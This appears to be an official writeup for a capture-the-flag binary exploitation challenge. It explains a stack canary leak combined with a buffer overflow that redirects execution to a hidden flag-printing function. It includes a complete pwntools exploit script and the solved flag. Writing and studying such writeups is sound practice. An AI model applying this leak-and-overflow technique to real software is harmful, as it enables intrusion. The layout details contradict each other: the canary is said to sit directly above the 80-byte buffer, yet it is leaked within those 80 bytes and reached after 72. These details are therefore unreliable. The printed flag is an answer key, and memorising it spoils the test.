

Corvus Glaive's Edge

MIRAGE 2.0 — Binary Exploitation — Official Writeup

CATEGORY	DIFFICULTY	FILES
Binary Exploitation (Pwn)	Medium	corvus_glaives_edge
DEPLOYMENT	VULNERABILITY	STATUS
Offline binary — run locally	Stack canary leak + overflow → ret2win	Solved

Challenge Premise

The objective is to “execute a precise strike to override the defenses.” The binary presents a “Corvus Command Interface” menu operating on a single 80-byte stack buffer, with four options: Set Strike Target, Confirm Target, Enter Override Code, and Execute Strike & Exit.

Reversing the Binary

All four menu options act on the same buffer inside `glaive_interface()`. A stack canary sits directly above the buffer at `rbp-0x8`:

- **[1] Set Strike Target** — reads 0x49 (73) bytes into an 0x50 (80)-byte buffer; a one-byte-short off-by-one, not by itself exploitable to reach the canary.
- **[2] Confirm Target** — `write()`s the full raw 80-byte buffer back to the socket, even though only the first 64 bytes are ever guaranteed initialized. The remaining 16 bytes leak whatever was left on the stack — including the genuine stack canary.
- **[3] Enter Override Code** — reads up to 0x100 (256) bytes into the same 80-byte buffer: a large, unguarded stack overflow reaching well past the canary, the saved RBP, and the return address.
- **[4] Execute Strike & Exit** — the canary is checked, then the function does `leave; ret`.

A hidden function, `corvus_override()` at address 0x40129b, is never called from normal control flow. It XOR-decodes the flag (key 0x55) and prints it.

Exploitation

The bug chain is a classic leak-then-overflow: option [2] discloses the canary (the last 8 of the 80 leaked bytes), then option [3] is used to overflow past the buffer while replaying the exact canary value back, so the check in option [4] still passes — but the saved return address underneath it has been replaced with `corvus_override()`.

Participant Solve Steps

```

from pwn import *

io = process('./corvus_glaives_edge')

io.sendline(b'2')          # Confirm Target -> leak 80 raw bytes
io.recvuntil(b'Target acquired:')
leaked = io.recvline()
canary = leaked[-9:-1]     # last 8 bytes before the newline

io.sendline(b'3')          # Enter Override Code
payload = b'A' * 72        # fill buffer up to the canary
payload += canary           # replay the leaked canary exactly
payload += b'B' * 8        # saved RBP (junk)
payload += p64(0x40129b)    # corvus_override()
io.sendline(payload)

io.sendline(b'4')          # Execute Strike & Exit -> triggers ret
io.interactive()

```

FLAG

MIRAGE{0ff_by_0n3_null_byt3_can4ry_h1j4ck_p5}

Verification

Confirmed dynamically: the pwntools script above was run against the live binary in a Linux x86-64 sandbox and printed the flag exactly as shown, matching the statically XOR-decoded value inside `corvus_override()`.